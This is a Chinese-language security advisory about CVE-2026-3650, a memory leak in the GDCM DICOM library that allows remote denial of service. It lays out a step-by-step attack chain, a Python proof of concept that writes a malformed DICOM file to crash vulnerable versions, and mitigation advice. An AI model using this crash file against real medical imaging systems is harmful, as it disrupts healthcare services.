IPBUF安全漏洞报告
English
CVE-2026-3650 CVSS 7.5 高危

CVE-2026-3650:GDCM内存泄漏致拒绝服务

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-3650
漏洞类型
内存泄漏
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Grassroots DICOM (GDCM)

相关标签

Memory LeakDenial of ServiceGDCMDICOMCWE-401

漏洞概述

Grassroots DICOM (GDCM) 库中存在严重的内存泄漏漏洞。该漏洞发生在解析文件元信息中包含非标准 VR 类型的畸形 DICOM 文件时。攻击者可利用此缺陷诱导应用程序在单次读取操作中分配大量内存且不释放,导致堆内存迅速耗尽,从而引发拒绝服务(DoS)状态。此漏洞无需用户交互即可通过网络远程利用,严重影响服务的可用性。

技术细节

该漏洞的核心技术成因在于 Grassroots DICOM (GDCM) 库解析 DICOM 文件元信息时的异常处理逻辑不完善。具体而言,当库函数尝试解析包含非标准值表示(VR)类型的畸形 DICOM 文件数据时,其内存管理机制出现缺陷。解析器在遇到这些非标准数据时,会申请分配堆内存以存储读取的数据或中间状态,但在后续的处理流程中,由于缺乏有效的错误捕获或资源释放代码,导致已分配的内存块无法被正确回收。这种内存泄漏具有累积效应,攻击者可以通过网络向目标服务器发送特制的恶意 DICOM 文件。由于漏洞利用无需认证且无需用户交互,一旦系统执行文件解析操作,便会在单次读取过程中产生巨大的内存消耗。随着堆内存被迅速耗尽,系统将因资源枯竭而停止响应服务,从而实现拒绝服务攻击。

攻击链分析

STEP 1
侦察
攻击者识别出使用 Grassroots DICOM (GDCM) 库处理 DICOM 文件的目标系统或服务。
STEP 2
武器化
攻击者构建特制的 DICOM 文件,该文件在文件元信息头中包含非标准的 VR (Value Representation) 类型。
STEP 3
交付
攻击者通过网络将恶意 DICOM 文件发送给目标系统,例如上传至医疗影像服务器或通过邮件发送。
STEP 4
利用
目标系统的 GDCM 库尝试解析该文件。在解析过程中,遇到非标准 VR 导致内存分配逻辑错误,分配大量内存但未释放。
STEP 5
影响
由于内存资源在单次读取中被耗尽,目标应用程序或系统崩溃,导致拒绝服务,无法处理合法请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct # PoC script to generate a malformed DICOM file targeting CVE-2026-3650 # This script creates a DICOM file with a non-standard VR in the meta information # to trigger the memory leak in GDCM. def generate_malformed_dicom(filename): with open(filename, 'wb') as f: # 1. Write Preamble (128 bytes of zeros) f.write(b'\x00' * 128) # 2. Write DICM Prefix f.write(b'DICM') # 3. Write Meta Element Group Length (Tag 0002,0000) # VR is 'UL' (Unsigned Long), Length is 4 bytes f.write(b'\x02\x00') # Group f.write(b'\x00\x00') # Element f.write(b'UL') # VR f.write(b'\x00\x00') # Reserved f.write(b'\x04\x00\x00\x00') # Length (4) # Value: Length of meta info (arbitrary for PoC) f.write(struct.pack('<I', 100)) # 4. Write a Malformed Element (e.g., Transfer Syntax UID 0002,0010) # Standard VR is 'UI' (2 bytes). # We will use a non-standard VR 'XX' to trigger the parsing bug. f.write(b'\x02\x00') # Group f.write(b'\x10\x00') # Element # Malformed VR: 'XX' instead of 'UI' f.write(b'XX') f.write(b'\x00\x00') # Reserved # Length: Set a large length to force allocation f.write(b'\xFF\xFF\xFF\xFF') if __name__ == "__main__": print("Generating malformed DICOM file: gdcm_crash.dcm") generate_malformed_dicom('gdcm_crash.dcm') print("Done. Use this file to crash the vulnerable GDCM version.")

影响范围

Grassroots DICOM (GDCM) (具体受影响版本请参考 ICSMA-26-083-01)

防御指南

临时缓解措施
建议立即限制对处理 DICOM 文件服务的网络访问,仅允许受信任的来源上传文件。在应用网关处部署深度包检测(DPI)或文件格式验证工具,拦截包含非标准 VR 类型的畸形 DICOM 文件。同时,监控服务器内存使用情况,一旦发现异常峰值自动重启服务以维持基本可用性,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表